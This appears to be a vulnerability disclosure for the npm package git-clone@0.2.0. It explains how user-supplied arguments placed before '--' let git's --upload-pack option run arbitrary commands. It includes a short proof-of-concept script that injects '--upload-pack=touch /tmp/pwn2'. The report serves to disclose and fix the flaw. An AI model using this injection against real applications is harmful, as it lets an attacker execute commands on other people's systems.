lirantal / **git-clone-command-injection.md** Secret

Created 8 months ago

Command Injection vulnerability in git-clone@0.2.0

`git-clone-command-injection.md`

Command Injection vulnerability in git-clone@0.2.0

`git-clone` describes itself as a tool to clone a git repository

Resources:

- Project's GitHub source code: https://github.com/jaz303/git-clone
- Project's npm package: https://www.npmjs.com/package/git-clone

`git-clone` receives about 230,000 downloads a week so this report should probably be timely.

Background on exploitation

I'm reporting a Command Injection vulnerability in `git-clone` npm package.

A use of the `--upload-pack` feature of git is also supported for `git clone`, and allows users to execute arbitrary commands on the OS.

The source code attempted to mitigate user input concatenation as shown here: https://github.com/jaz303/git-clone/blob/master/private/util.js#L16-L17 with the following:

```
        args = args.concat(userArgs);
        args.push('--', repo, targetPath);
```

However, the user arguments are first added to the command being executed, and only then the double dash is added. Effectively, creating the following array values passed to the `git` spawned command here https://github.com/jaz303/git-clone/blob/46e27e0a60261f22ff70ed5f29d72f5d43b8aeab/private/impl.js#L10:

```
[
  'clone',
  '--upload-pack=touch /tmp/pwn2',
  '--',
  'file:///tmp/zero12345',
  '/tmp/example-new-repo'
]
```

If a user controls the options object provided to the `clone()` function through the `options.args` array, then they can inject commands to run when the clone function is called.

New exploit

Install `git-clone@0.2.0`, which is the latest.

Run the following code:

```
const clone = require('git-clone')
const repo = 'file:///tmp/zero12345'
const path = '/tmp/example-new-repo'
const options = {
        args: [
        '--upload-pack=touch /tmp/pwn2'
]}
clone(repo, path, options)
```

Observe a new file created: `/tmp/pwn2`

Author

Liran Tal